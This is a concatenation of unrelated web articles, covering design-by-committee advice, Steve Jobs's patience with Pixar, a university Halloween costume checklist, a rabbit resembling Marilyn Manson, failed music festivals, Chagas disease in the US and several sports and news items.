– In many organisations there is a culture of blame and ‘arse covering’. This inevitably leads to website owners being reluctant to make decisions alone. They know that if they consult widely then it is harder for them to be blamed when things go wrong. It is politically necessary – Many website owners know that committees are bad for the design process. However, they are left with little choice if they want a design to be approved. Without consulting internal stakeholders the design is likely to get blocked on principle, whether or not it is a good design.
corepics, Shutterstock
When you look at design by committee from a certain point of view you can understand why some take this approach. However, there are things that can be done to overcome these arguments, while at the same time combatting the problems design by committee creates.
How to overcome design by committee
Once you understand the reasons behind design by committee there is actually a number of alternative approaches.
Separate the problems
Design feedback normally falls into two categories – aesthetic and structural. If a design is going to be rejected it is because somebody doesn’t ‘like the feel’ or there is an argument over who gets what featured in the navigation or on the homepage.
The danger is that an entire design will be rejected on the basis of a content dispute or because somebody doesn’t like the blue. This is throwing the baby out with the bathwater.
Avoid this by making sure the stakeholder doesn’t just see the final design. Instead present mood boards and wireframes.
The mood board focuses on aesthetics while the wireframe looks only at the structure and information to be included.
This has two advantages. First, it allows the stakeholders to separate in their minds decisions about aesthetics and content. This prevents entire designs being rejected because of minor issues.
Second, producing mood boards and wireframes is considerably quicker than final designs. This means that even if an element of the design is rejected it does not require major rework.
Divide and conquer
Another tactic for overcoming design by committee is speaking to stakeholders individually rather than in a group. Although this is best done in person, it can also be done over the phone if necessary.
corepics, Shutterstock
Although individual discussions takes more effort the benefits are enormous….
It prevents design on the fly – When a group of people discuss design they try to reach a consensus. This means that they make design changes in the room and you loose control. By speaking to people individually you prevent this problem.
– When a group of people discuss design they try to reach a consensus. This means that they make design changes in the room and you loose control. By speaking to people individually you prevent this problem. It neutralises the ‘alpha male’ characters – In group meetings you will always find somebody who dominates the conversation (not always a man!) They overwhelm quieter members and bounce people into agreeing with their standpoint. By consulting with people individually you avoid them having too great an influence.
– In group meetings you will always find somebody who dominates the conversation (not always a man!) They overwhelm quieter members and bounce people into agreeing with their standpoint. By consulting with people individually you avoid them having too great an influence. It puts you in control – By speaking to stakeholders individually you are the only person who knows what has been said. This puts you in a powerful position that allows you to pick and choose the feedback you use.
Of course any feedback is bad feedback if the stakeholder doesn’t understand the context of the project.
Ensure opinions are informed
Some stakeholders argue that they do not need background information on a design in order to judge it. They say that users don’t have that background, so why should they? The answer is simple, they are not users.
A stakeholder needs to judge the design from a business perspective as much as that of a user. They need to understand the business objectives, they need to know about corporate guidelines and what the competition is doing. In short they need to understand the context in which the design was created.
However, in many cases the stakeholder is simply given the design and asked “what do you think?”
The obvious solution is to provide the background to each stakeholder before asking for feedback. However if we are avoiding group meetings then presenting to each stakeholder is time consuming and repetitive.
Also even if you do present to each stakeholder there is nothing to stop that person passing the design to others for their feedback without your knowledge or presentation.
One way to avoid this problem is by providing the design as part of a presentation either in powerpoint, PDF or an application like Get Signoff.
Unfortunately people will not always read the copy associated with a design. Therefore an even better approach is to record a video of the design with an audio track explaining your approach. This is hard to ignore and ensures the design will never be seen out of context.
The problem does not just lie in controlling the presentation, it is also important to control the feedback.
Control the feedback
If you ask stakeholders “what do you think?” you are encouraging a personal response. This is actually not the feedback you are seeking.
Ljupco Smokovski, Shutterstock
Instead ask questions that focus the stakeholder on the real issues…
Does it meet the agreed business objectives?
Do you feel the target audience will respond favourably to the design?
It is also worth focusing the client on factors that informed the design…
Is the design inline with your corporate branding?
Is the design what you expected based on the approved mood board?
Does the design reflect the agreed visual hierarchy agreed in the wireframes?
Notice that the above questions all require a simple yes or no answer. This prevents the feedback straying into personal opinion. However, it is also a little restrictive so we always ask “if not, why not?” after each question.
Asking “why not” achieves two things. First it forces the stakeholder to better articulate the problem and ensure there is a valid, well reasoned argument behind their statement. Second, it opens a discussion that a simple yes/no answer prevents.
Unfortunately no matter how well presented a design, there will be times when people cannot agree. In such situations testing can break the deadlock.
Turn to testing
Ultimately any amount of stakeholder feedback has a limited use. The stakeholder is not the user and it is the user that the design must appeal to. That is why whenever possible a design should be tested with real users too.
Design testing can be an effective way of breaking deadlocks between stakeholders. By asking users to comment on design you effectively render the personal opinions of stakeholders redundant. Best of all design testing can be done cheaply and easily using services like Ethnio and What Users Do.
Finally it is worth reminding stakeholders that no design decision is set in stone. Often the best way to evaluate design is by putting it live and seeing what happens. Things can always be changed later.
For larger sites (where the stakes are higher) A/B testing should be making many of the design decisions anyway. Ultimately testing is always going to be more effective than the opinions of stakeholders.
Conclusions
It is important to note that at no stage in this post have I tried to exclude stakeholders from the design process. I believe that design is a collaborative process and not something that springs spontaneously from the creative mind of a designer.
What I have tried to communicate is that although the contribution of stakeholders are valuable they have to be informed and shaped into something that is actually of use to the designer. Comments like “I don’t like the green” doesn’t help anyone.Are We Really Born To Run? Thomas C. Michaud, D.C. / January 23, 2014
According to some experts, our ancestors were so efficient at running they could chase prey for hours. The exhausted animal could then be killed by hand. Prolonged barefoot activity is thought to increase tone in the flexor digitorum brevis muscle, an important stabilizer of the arch.
There is evidence that debunks the popular running theory, writes Thomas C. Michaud.
According to a few well-respected paleoanthropologists, our ancient ancestors (specifically, Homo erectus) were so efficient at running they could chase prey for hours, eventually killing the exhausted animals by hand.
In an interesting paper that went on to create the barefoot running movement, Bramble and Lieberman (1) claim that the consumption of meat obtained by long distance running is the only way to explain the mystery of how Homo erectus was able to double its brain size in a relatively short time period about 2 million years ago. These authors propose that because the brain consumes 16 times the calories of an equivalent mass of muscle, and meat provides four times the calories of an equal sized serving of fruit, the only way Homo erectus could have fueled such rapid brain expansion was if they were able to obtain calorie-dense meat by running prey to exhaustion. Because Homo erectus lacked the ability to use even the simplest of weapons, it seemed logical that chasing prey for hours was their only option for obtaining the amount of meat necessary to fuel their rapidly expanding brains (Fig. 1).
The Real Reason For Brain Expansion
While there was an increase in the number of animal bones found in early Homo erectus archaeological sites confirming that meat consumption did correlate with brain expansion, a paper recently published in Proceedings of the National Academy of Sciences suggests that it wasn’t long distance running that allowed for brain expansion: it was the ability to cook (2). The authors of this paper prove that fire was discovered much earlier than previously believed and the ability to heat food was instrumental in brain expansion because heat softens tough fibers, speeding up the process of chewing and digestion.
Cooking food also allows for a greater percentage of food to be metabolized by the body: 100 percent of cooked food is metabolized while only 30 to 40 percent of the nutrients present in raw foods can |
and our conversation reminded me of something important: Jobs made most of his wealth by following an investment strategy that flew directly in the face of conventional Wall Street thinking.
In short: As an investor, Jobs took a long-term view, and he was rewarded for it. The patience he showed is the opposite of the short-term thinking that now pervades Wall Street and that pushes public companies to put quarterly results ahead of investing for long-term growth.
Doing the latter takes guts, because companies have to make risky and expensive bets on technology if they’re to create and/or succeed in new markets, as the iPod, iPhone and iPad have done. Wall Street didn’t take kindly to the level of investment Jobs made in those products a decade ago, which is why Apple’s stock was sitting at $7 around the time the iPod was introduced.
It’s worth repeating this after Apple AAPL, +0.31% reported quarterly results that were stellar, yet which disappointed Wall Street traders, who’d let their euphoria for the stock push it up so high that it could only fall on the news. Read more about Apple’s earnings.
It’s true that Jobs became a millionaire by co-founding Apple and taking the company public in a 1980 stock offering, which made him rich by most everyone’s standards.
But it was Jobs’s $5 million purchase of Pixar from George Lucas in 1986 that ultimately made him a billionaire, after eventually selling the company to Walt Disney Co. DIS, -0.63% for $7.4 billion in 2006.
What my friend at Pixar reminded me of is what Jobs did after buying Pixar: He continued to pour more money into the outfit, by some accounts as much as an additional $5 million. More importantly, “he mostly left us alone,” said my source (whom I’m not identifying because he’s a friend and not authorized to speak to the media on Pixar’s behalf).
Reuters Apple’s Tim Cook with the late Steve Jobs
In other words, Jobs showed both faith and patience, and patience isn’t something most people think of when they think of his character traits.
Yet that’s what Jobs showed — for nearly a decade — when he let the creative types at Pixar keep hacking away, during a time when their only product was industrial-design software that appealed to a tiny niche of potential customers, according to my source. Making a hit animated movie was more a dream than a product strategy at Pixar.
Jobs allowed the creative genius that was percolating around Pixar to rise and blossom into a string of profitable movies, beginning with “Toy Story.” He had the luxury of showing patience because Pixar was a private company.
Contrast that with what’s been passing for corporate strategizing these days. Hewlett-Packard Co’s HPQ, -0.21% board gave Leo Apotheker about 11 months to work on his strategy of transitioning H-P to be more of a software and services company, then sent him packing. Does anyone at H-P seriously doubt that the company needs to move away from hardware so it can boost its operating margin?
Or think of Netflix Inc. NFLX, -0.58% which waited less than a month before scrapping its plans to move away from mail-order DVD rentals to an all-digital strategy. The turnabout suggests a management strategy that gives more weight to investor relations or public relations than to long-term strategy.
Sure, Netflix customers were angry, and the suddenness of the move was a PR disaster. But reversing it makes it even less sense, given that Netflix rivals from Apple to Amazon.com Inc. AMZN, +0.29% are pursuing all-digital strategies for their media sales and downloads.
Apple Chief Executive Tim Cook is now faced with a situation where a part of his investor base is made up of traders who won’t be happy unless Apple stock goes to $500, preferably within 12 months.
The fact that Apple disappointed these investors in Cook’s first quarterly report without Jobs is an inauspicious beginning for him, in their eyes, which is why the stock sold off.
But for the sake of long-term investors, and for the consumers who love Apple’s innovative products, let’s hope that Cook ignores any and all pressure from Wall Street. Jobs did that a decade ago when he funded the research that set the table for Apple’s current success.
I’ll end with a quote from top-tier venture capitalist Michael Moritz, who invested in Google Inc. GOOG, +0.08% in 1999 for Sequoia Capital, where he is a partner. I first used this quote in a May column on Jobs.
In November, 2010, I asked Moritz about the challenge to be faced by anyone who’s to succeed a successful, entrepreneurial chief like Steve Jobs. “The problem with replacement CEOs is that they tend to think as caretakers and not founders,” Moritz said then.
For all you Apple longs and Apple lovers, let’s hope Cook, like Jobs, thinks differently than Wall Street.“You don’t have bad intentions, but your social theme or costume idea could have a negative impact.”
That’s the opening line of a letter sent to fraternity and sorority members from the University of Texas’ Office of the Dean of Students.
The letter, which was issued ahead of Halloween weekend -- but remains on the website all year round -- offers members a checklist “to create better themes and costumes” that don’t “appropriate another culture or experience.”
What is “cultural appropriation,” you ask?
“Cultural appropriation is when somebody adopts aspects of a culture that is not their own,” the Dean of Students informed members.
The checklist includes points such as “How does this theme align with our organization’s values?” and “Is the theme or costume referring to a living culture or people?” The Dean of Students finishes the letter by listing “harmful themes and costumes” and “themes to consider.” “Harmful” costumes and themes include “South of the Border,” “Ghetto Fabulous” and “Trailer Trash,” while themes they deem worthy of consideration include “Comic Book Heroes and Villains,” “Catalina Yacht Mixer” and “Alphabet Theme.”
A representative with the Dean of Students said the letter is used as an educational tool. She said students planning costumes and themes may not think about the impact they will have on the community around them.
She said the “checklist” is not a list of “rules” or meant to restrict students’ freedom of expression. However, the fraternity or sorority’s national chapter does have a right to discipline students if they find it necessary to do so.
KVUE News also talked to a member of the UT Campus Climate Advisory Board, Emily Gitten. She said her group is designed to make sure that no one on campus is infringing upon the rights of any other culture or community.
“So this time of year is kind of tricky to be in that type of position, because Halloween with dressing up, a lot of people aren’t really aware what things are culturally appropriated and which ones are not,” said Gitten.
However, some members of the Greek community feel the list goes too far.
“If people cool it down a little bit, just go a little open minded and don’t take everything so personally, we wouldn’t even need a list like that. More people would have more fun and kind of stop take themselves too seriously, honestly,” said Bryan Ross, Member of Phi Delta Theta.
Meanwhile, other members find themselves somewhere in between, when it comes to this issue.
“I kind of have mixed feelings about it because in the end, it’s Halloween, and people are dressing up and being a character there not normally, but at the same time, I think people do need to think about that and be sensitive on the subject,” said Sydney Davis, Member of Phi Chi Theta.
Either way, the students said they believe the list is helping. A number of them said they've already attended Halloween parties Thursday night. They said they didn't see any costumes of racial caricatures so far, as they have in previous years.
“I’ve seen people dress up as Indians, not refer to them as Native Americans,” said Jessica Evans, UT student, “I’ve also seen people dress up as African Americans that are like White. I think the lists have maybe given people cultural awareness and told them not to dress like that and maybe that’s why I didn’t see a lot of it.”
Back in February of 2015, one UT frat hosted a party with the theme, "Border Control," where students wore sombreros with Hispanic names and ponchos. While multiple complaints were filed, the fraternity was not punished.
The UT spokesperson said the list is just a recommendation. As part of the UT's policy on freedom of expression, fraternities and sororities can technically hold parties with any costumes and themes of their choosing without facing any consequences from the university.
Take a look at the complete letter below:
UT issues 'checklist' for harmless costume, parties by kvuenews on ScribdCan the Harvard-educated founder of Facebook reinvent public education?
In 2010, Mark Zuckerberg donated $100 million to transform the public school system in Newark, NJ, but he was stymied by laws preventing significant changes to teacher contracts.
But Mr. Zuckerberg and his wife Priscilla Chan are still hoping to make inroads into educational inequity. They are creating "The Primary School," which will provide both free education and free healthcare for low-income students in the Palo Alto area.
"Health and education are closely connected," wrote Zuckerberg in a Facebook post about the school. "When children aren't healthy, they can't learn as easily. Many kids and teachers across the country deal with the consequences of poor health in classrooms every day."
He added, "In addition to early childhood and K-12 education, The Primary School will also provide prenatal support for families and on-site healthcare for children. By bringing healthcare and education together in one place, the goal is to support families and help children from underserved communities reach their full potential."
The school is not a charter school, according to its website, but is "a private, non-profit school" that will partner with the Ravenswood Family Health Center, a nearby health clinic, to provide free healthcare services for students and their families.
When The Primary School opens in August 2016, it will offer parent-and-child classes for babies and toddlers and full-day pre-K classes for 3- and 4-year-olds. The school plans to add a grade level each year, slowly growing into a birth through 12th grade free, private school.
Dr. Chan, who is the CEO of The Primary School as well as a practicing pediatrician, was first inspired to ameliorate the challenges of poverty while she was an undergraduate at Harvard, where she tutored children in inner-city Boston. She has also taught 4th and 5th grade science.
"After the first year," she told The San Jose Mercury News, "it became evident I could do all I wanted, but there were much bigger problems that were preventing these kids from succeeding in school."
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Funding for The Primary School will come from the foundation that Zuckerberg and Chan co-founded, Startup:Education, which chiefly provides grants to underserved schools and communities in the Bay Area. The foundation has given away more than $1 billion in grants and other gifts for education since 2010.
Chan did not tell the Mercury News how much she and her husband are contributing to The Primary School, but when it is fully built, it will serve 50 students in 14 grades (pre-K through 12) plus the families of their 700 students.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
An animal rescue charity is trying to re-home a baby rabbit which is the spitting image of American rocker Marilyn Manson.
The five-month-old bunny bears an uncanny resemblance to metal star Marilyn, 47, who is famed for his white-black make-up.
Staff at the centre named the rabbit Manson because of his striking looks.
Animal shelter worker Jo Pawsey, 28, said: "I'm a really big Marilyn Manson fan and seen him perform live so I spotted the resemblance instantly.
"I decided to call him Manson because he has very blue eyes and black liner around them.
Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now
"The rabbit's pasty white face makes him a dead ringer for Marilyn Manson.
(Image: Phil Harris)
"Most rabbits with black eye patches have spots elsewhere on their body so his markings are quite unusual.
Read more: Marilyn Manson goes natural and joins Johnny Depp supergroup to rock fashion event
"He's a very friendly rabbit and always comes up to say hello so I wouldn't say he is displaying any other Marilyn characteristics.
(Image: PR)
"But he has trashed a few cardboard boxes and ripped them up, so maybe that's similar to a rocker smashing their hotel room?"
Manson was one of 12 rabbits born by accident to owners who wrongly believed all three of their pet bunnies were girls.
(Image: Phil Harris)
He was taken to the rescue centre with five of his brothers and sisters in November but has not yet been re-homed.
Jo added: "We don't think it's the name or looks putting people off.
"At this time of year it's always difficult to re-home outdoor animals because of the cold weather."
(Image: Phil Harris/PR)
Monika Maintz, 48, who runs the Wood Green rescue centre at Heydon, near Royston, Herts., wants Manson to be rehomed with one of his siblings for company.
His brothers Twister, Cluedo, Ludo and sisters Kerplunk and Monopoly have all been vaccinated, neutered and have a clean bill of health.
(Image: Phil Harris)
Monika said: "Anyone who is interested in offering Manson a home should get in touch by phone, email or the website."
Marilyn Manson, real name Brian Warner, shot to fame following the release of his second album Antichrist Superstar.
(Image: Getty)
His controversial anti-Christian message has drawn widespread criticism but three of his albums have gone platinum.
Manson married the famous burlesque dancer Dita Von Teese, 43, before the pair split in 2006.
Last week the rock and metal star paid tribute to Bowie as an influence, saying: "Let's never let go of what he gave us."
Anyone who wants to offer a home to Manson or another rescue animal should visit: www.woodgreen.org.uk
They can also phone 0300 303 7333 or email heydon@woodgreen.org.ukPity the millennial, poster child of the Great Recession. A popular meme portrays the typical millennial as a basement-dwelling economic loser, forever condemned to live in the nether regions of his parent’s house. Unfortunately, that meme is not without basis. The recession seem to have hit millennials particularly hard, making it even more difficult for young people to find good jobs and to establish their own households.
In some respects, things are looking up for millennials. The U.S. job market is strengthening, making it easier to find work, and wages are starting to creep higher. The unemployment rate for young adults (ages 18 to 34, excluding full-time college students) has been heading lower since peaking near 12 percent in 2010; the latest unemployment reading for millennials is 7.7 percent.
However, there is one notable sticking point, and it echoes that basement-dwelling meme. Even though household formation rates have rebounded overall, millennials are still not moving out and establishing their own households like they used to. In fact, more millennials are living with parents or relatives than before the recession, according to new research from Pew.
In 2007, before the recession hit, 71 percent of millennials were living independently. In 2015, that number has fallen to 67 percent, with no sign of bottoming.
On the flip side, 22 percent of young adults were living in their parents’ homes in 2007. That number has risen to 26 percent this year.
The Pew report doesn’t look at why millennials are sticking so close to home. However, it does suggest that the relatively simple economic argument about the lack of good jobs no longer tells the whole story. Since the economy is recovering, however unevenly, there are likely other factors in play. One could be cultural: More young people simply enjoy living at home and are in no hurry to move out. Perhaps the U.S. is becoming more like Italy, where adult children often live at home until they marry.
That’s not to say that money plays no role in the trend, though. One big economic factor not addressed in the Pew report is pretty basic: rising rents. This graphic from Zillow makes it clear that rents have been soaring all over the country. More than $3,000 for a one bedroom in San Francisco? With those kind of numbers, living at home makes all the sense in the world.Tomorrow, March 16, is Richard M. Stallman’s 60th birthday. Stallman, also known as “rms,” is the father of the Free Software movement and the creator of the GNU Project and the GNU General Public License, or GPL. Some of the GNU stuff ended up in Linux, which is why he insists that anyone who speaks to him must call the operating system “GNU/Linux.”
Stallman was once a prolific coder and self-proclaimed hacker, but now is more of an activist who spends much of his time traveling, giving speeches, distributing his “pleasure card” (as opposed to “business card,” geddit?) and wooing ladies. He’s also famous for having one of the most demanding contract riders in all of the world, one that lists a long list of rules governing the temperature of his sleeping quarters, what kind of pets he likes (parrots are best, but don’t buy one just for his visit!), how to speak to him and a list of foods he will not eat: “I do not eat breakfast. Please do not ask me any questions about what I will do [sic] breakfast. Please just do not bring it up.”
A few years ago, when Linux was the cool new thing, Stallman seemed to be everywhere, usually arguing with someone in the “open source” movement and explaining why “free software” is not the same as “open source.” Hard to believe, but the world grew tired of this important debate and lately we don’t hear much from Stallman.
But in honor of his special day, I’ve compiled some of my favorite Stallman videos. (I’ve left out the ones where he goes nuts at some event and starts shouting at people, but you can find them on your own.)
Here is Stallman showing off his incredibly good Spanish accent and then singing his Free Software Song:
And here is Stallman, an avid folk dancer, busting a move to Soulja Boy:
Here is Stallman patiently enduring a stupid question from an insufferable nerd, and then (at about 1:56) quickly eating some gunk that he’s dug up from between his toes:
And here are some of Stallman’s worshippers performing the Free Software Song. But I warn you – once you watch this video, you will never be able to unwatch it. Consider yourself warned.Five police officers say they were denied service at a Taco Bell in Louisville.
The Louisville Police Department says the officers went to the Taco Bell on Preston Highway for their lunch break. They say a man at the counter turned to other employees and said he wasn't taking their order and then walked away.
The officers say another employee walked toward the register to take the orders, but they say they then overheard a conversation between two employees making the food.
"One of these young men, told the other employee, 'I wanna mess with them. I wanna mess with them.' And then he followed that up by saying, 'I'm going to mess with them," Louisville FOP President Dave Mutchler said.
The police officers say they walked out of the restaurant at that point.
In a statement, both Taco Bell and the Louisville franchise owner said they have apologized to Louisville Police and directly to the five officers. The franchise owner says police made it clear that they didn't want any of the employees to be fired.
The owner said he plans to re-train staff at his Taco Bell.Dani Foxhoven Will Not Return to Seattle Reign FC for the 2016 Season
Reign FC Blocked Unblock Follow Following Jan 18, 2016
Earlier today, Seattle Reign FC announced today that forward Danielle Foxhoven will not be returning to Seattle Reign FC for the 2016 season.
“The last two seasons with the Reign have been some of the best years in my soccer career. Even though I have decided to look at other opportunities, the decision comes with a heavy heart as I think so highly of this club and the team,” said Foxhoven. “It has been an absolute honor to play at Memorial Stadium, in front of our fans, and for not only Laura, but also Sam, Ben, and Bill and Teresa. I would like to extend my sincerest thanks to everyone who helped me during my time with the Reign.”
Foxhoven was signed in 2013 by Portland Thorns FC as a discovery player for the inaugural season of the National Women’s Soccer League. In November 2013, Foxhoven was traded to Reign FC in exchange for forward Jessica McDonald and the rights to defender Rebecca Moros. Foxhoven played in 16 matches for Seattle Reign FC during the 2015 NWSL season, starting two of the matches for a total of 659 minutes.
“Dani has been an important part of our club for the past two seasons. She’ll be missed by me, by her teammates and by the fans,” said Reign FC head coach and general manager Laura Harvey. “We wish her the best and will leave the door open for her to return to Reign FC at some point in the future.”Carlos Tevez said he does not believe that Lionel Messi vetoed his selection for Argentina's 2014 World Cup squad, saying that the Barcelona forward "would never tell a coach" who to pick, and also praised former Manchester United teammate Paul Scholes.
Tevez, 31, missed out on Alejandro Sabella's 23-man squad for last summer's tournament in Brazil despite a successful season with Serie A champions Juventus, with Argentina eventually losing the final to Germany.
The striker failed to appear for the Albiceleste after Sabella's appointment in 2011, but made his return last November under new coach Gerardo Martino.
Tevez has repeatedly denied having a feud with Messi, and when asked by El Pais why the Argentina captain "vetoed" his selection for the national side, Tevez responded: "That's journalist commentary... In Argentina they speak a lot of Messi or Tevez, one or the other. But we have always gotten along, on and off the pitch.
"Messi would never tell a coach who he has to play or not. I think he not only lacks the power to do that but also is not humanly capable of saying that."
Tevez is proud to play alongside Pirlo, but believes Scholes is the best teammate he has ever had.
The 31-year-old admits that the last time he cried over football was "[last] summer when we were shut out of the World Cup," but was not hurt by having to watch the tournament as a mere spectator, adding: "I never felt I was part of the group. Now I do feel part of it."
The Argentine striker also revealed that while he is honoured to be playing in the same side as Andrea Pirlo, the greatest passer he has ever played alongside is a former Old Trafford teammate.
"It gives me great pleasure to be able to say: 'I have played with Pirlo,'" the striker said, but when asked who the best passer was, he replied: "Paul Scholes."
Tevez, who began his career with Boca Juniors and then played for Corinthians in Brazil, had spent the bulk of his career in the Premier League, playing for West Ham, Manchester United and Manchester City, before joining Juve in 2013.
"The training is very different from England, Brazil and Argentina," he said. "Here they are very professional, they live because of and for football. In England I was already in my house by noon."
Asked if he felt he had finally found his place at Juve, he replied: "Yes, it is my second home. They have always treated me well, from the president all the way down and they have done everything to make sure I am happy on the pitch.
"I try to return the love with my play. I am enjoying myself a lot, I am at another stage in my life, I feel good and I know what movements I must make on the field."
Asked if he had felt at home during his time in England, he said: "Not much at United because there were so many stars. With City, yes -- it was the place at which I made a mistake and I paid for it."
Tevez had been accused of refusing to come off the substitutes' bench by then City boss Roberto Mancini after a Champions League match against Bayern Munich.
The striker denied that was the case but did not play for the club for several months afterwards, and he said he had considered quitting the game during his absence.
"Yes, when I fought with Mancini, yes, I did," he said.
Tevez has said during his exile that he had "received registered letters every day" from the club while the doctors would say he was "healthy but refusing to train," and he said of that period: "It was bad. I was all the time receiving documented letters from the club. It was not easy."
He said that he was now more "mature," as well as "more professional and a better scorer," and said his game had come a long way since he joined United at the age of 23, having moved on from the type of playground football he had relied on as a youth.
"I'm a different player on the pitch," he said. "In the past I would just steal the ball and play like I was on the dirt fields of my childhood. Nowadays I'm playing better football and there's a difference. I grew up a lot but I still have that dirt-field essence from my past. Sometimes that part surfaces on the pitch. Did you see the goal I scored against Parma? That was a dirt-field goal. "It was supposed to be a unique music festival set in a stunning location. But when the scheduled dates arrived, the performers were abruptly canceled. Attendees complained on social media that campgrounds boasting luxury “glamping” accommodations were instead muddy and unsafe. In the aftermath, media coverage centered around a specific claim: the first-time organizers were woefully unprepared.
The description easily applies to this spring’s Fyre Festival, the Bahamas event so notoriously disastrous, the FBI got involved. But it also sums up what one newspaper headline hyperbolically described as the “carnage” at Y Not Festival, a four-day event in the English countryside this past July, which ended a day early amid heavy rain and claims of false advertising. Both events fit a disconcerting pattern.
The boom in music festivals over the past decade has led to increasingly homogenous lineups at the biggest ones. The smart money now is on smaller, more focused festivals that can attract dedicated audiences with a distinctive curatorial perspective. But fest popularity also seems to be attracting relative newcomers who sense a money-making opportunity—but whose ability to follow through ranges from questionable to non-existent. Fyre is only the highest-profile example. Look closer, and the ashes of flopped festivals are all around.
Y Not Festival, scheduled for July 27 to July 30 in bucolic Derbyshire, UK, was by all accounts a soggy experience—not uncommon at festivals, in theory. While Thursday’s lineup was not affected, Friday headliners—big-in-Britain rock blokes the Vaccines—had their set canceled due to hazardous conditions. Saturday’s performances by Stereophonics and Jake Bugg were reshuffled, and Sunday’s festivities were called off altogether, citing the potential risks. On August 4, Y Not issued a statement promising a 50 percent refund of ticket costs within two weeks (and a return next year). Two weeks later, dozens of unhappy fans said they were still waiting on those half-refunds. Update (11:51 a.m): A Y Not spokesperson told Pitchfork: “Everyone who bought a ticket and attended the festival has received a 50% refund because of the final day cancellation. We’ve heard from a small number of people who haven’t received their refund yet and we’re getting this fixed.” A fest rep recently said, “We were extremely well prepared for the festival this year.”
While Y Not isn’t strictly new—starting as an overgrown house party more than a decade ago—its management is. Y Not was taken over last October by a London-based company called Global, which bought its first stake in the festival business back in 2015. Another Global-produced event, Trucks Festival earlier in July, was also beset with complaints of inadequate preparation for the predictable UK-music-festival mud. Global previously faced calls for an investigation, after 200 people were stranded after flooding at one of its festivals in September 2016.
In North America, the most prominent festival dirt-flinging this year was over Pemberton Festival in Canada. Set for July 13 at a scenic locale near Vancouver, with a lineup including Chance the Rapper, Muse, and a Tribe Called Quest, the fest was canceled suddenly in May. Its organizers declared bankruptcy, so no refunds were offered. The festival was brought back in 2014 after an earlier version also flopped, but bankruptcy filings showed it lost money for three years and suffered a major sales decline this year. Marc Geiger, the head of music at the booking agency William Morris Endeavor, threatened a lawsuit at the time, saying, “The only difference between Pemberton and Fyre is that Pemberton sold their event with trees instead of supermodels.”
Pemberton’s contentious bankruptcy prompted concerns that it could damage the confidence fans have in music festivals. But like Fyre, it’s just one of the more visible examples of a dismayingly widespread phenomenon, as other festivals that lack a strong business model also throw in the towel with little notice.
In Pennsylvania, first-year festival Karoondinha was canceled less than a month before the July 21-23 event, boasting performers like Chance the Rapper, the Roots, Odesza, and John Legend. In northern Michigan, the EDM-oriented UpNorth Festival was canceled in its second year, only a week before its planned August 18 start. In Iowa, a new music festival called IowaStock, a Labor Day-weekend event that had promised an eyebrow-raising 200-plus acts across 10 stages and four days, was canceled with less than a month to go, citing unspecified health concerns on the part of the organizer. Now, I live in Iowa, and I’m friends with some of the scheduled performers, but even I didn’t know this fest was happening until some local journalists pointed out how it almost definitely wasn’t. (Not that the IowaStock website reflects that.)
Fyre-watchers have found a new focus as of late. Earlier this month, organizers announced StarFest Music Festival, a “pop-up” festival scheduled for September 8 and 9 in Plano, Texas, with a shifting array of claimed headliners including Lil Wayne and Flo Rida. The fest’s founders have explicitly denied any similarity to a certain ill-fated island event. “With Fyre Festival, you had a group of guys with no contingency plan,” co-organizer David Taylor said in early August. “We know what we’re accomplishing.” But the festival has been hit with legal problems and has twice been forced to change venues. Of its current homelessness, StarFest’s website now reads: “This unfortunately may cause us to push back our event or move locations. More details to follow, but this Cinderella Story is not over yet! Stay tuned…” Indeed.
Fyre remains mired in multiple lawsuits as its founder, Billy McFarland, tries to negotiate a plea deal on federal wire-fraud charges. For the sake of festival attendees, a broader hope is that promoters with big ambitions will determine ahead of time if their plans are actually achievable. Launching a sustainable, large-scale music festival, as anyone who has done it can tell you, requires years of logistical hard work. At the very least, be prepared for rain.Hundreds of thousands of people in the United States have been infected with the potentially fatal kissing bug disease, but U.S. health care workers’ lack of awareness often prevents successful diagnosis and treatment, according to a report released this week.
The dearth of federally licensed drugs to combat the disease also limits patients' access to treatment, according to findings presented at the annual meeting of the American Society of Tropical Medicine and Hygiene (ASTMH) on Thursday.
“This is a real health concern in the United States that deserves much more attention, research and funding for patient care and education,” said Dr. Jennifer Manne-Goehler, a clinical fellow at Harvard Medical School and Beth Israel Deaconess Medical Center in Boston who was the lead author of the study.
More than 300,000 people in the U.S. have kissing bug, or Chagas, disease, endemic to Mexico, Central America and South America — where there 8 million people have been infected, according to the Centers for Disease Control and Prevention (CDC).
At the onset, symptoms of the disease — caused by a parasite, Trypanosoma cruzi, which is spread through the feces of kissing bugs — can include fever, fatigue, body aches, rash, diarrhea and vomiting, according to the CDC (PDF). After the initial acute stage, most people enter a prolonged asymptomatic state, during which few parasites are found in the blood, the CDC says. Regardless of symptoms, the disease can be transmitted to others. People are often unaware they have been infected and can know for sure only if they complete blood tests.
Over time, the disease can cause heart failure and intestinal complications.
An ASTMH press statement released Tuesday called the disease a “stealthy parasitic infection,” often spread via blood-sucking kissing bugs, which “feed on people’s faces during the night.” Transmission can also occur through blood transfusions or organ donations from infected people, according to the CDC. During pregnancy, mothers can transmit the disease to their babies.
The Food and Drug Administration has not yet approved two medicines — nifurtimox and benznidazole — that are currently used to treat the disease but carry a risk of nerve damage, nausea and weight loss, according to the ASTMH statement.
The CDC makes the drugs available "when no satisfactory alternative treatment exists," according to the FDA, adding that "subjects are generally willing to accept greater risks from test articles that may treat life-threatening and debilitating illnesses."
Manne-Goehler’s study used data collected from the American Association of Blood Banks and the CDC. From 2007 to 2013, 1,908 blood donors tested positive for Chagas disease, but only 422 doses of medications have been administered by the CDC.
“This highlights an enormous treatment gap,” Manne-Goehler said in the ASTMH statement.As part of the Alien Day celebrations, 20th Century Fox and Madame Tussauds unveiled the teaser trailer for their upcoming attraction, Alien: Escape! As well as the trailer, they also announced a competition giving fans an opportunity to star in the experience.
“Madame Tussauds presents an ultimate fan competition, giving one lucky fan the chance to star in Alien: Escape, a brand new immersive experience that’s based on the ALIEN: Covenant Movie … only for the bravest of individuals.
Onboard the Covenant spaceship, the winner will be featured in a filmed recording that’s set at the heart of the experience.”
We have reached out to Madame Tussauds for more information but the description “immersive experience” leads me to believe that this new attraction maybe something akin to the Alien War attraction that was open in the early 90s – be sure to listen to our podcast with David Watson, a performer from Alien War.
You can find out more about Alien: Escape and the competition to star in a recording over at the official website! It is currently slated to open in Summer 2017.
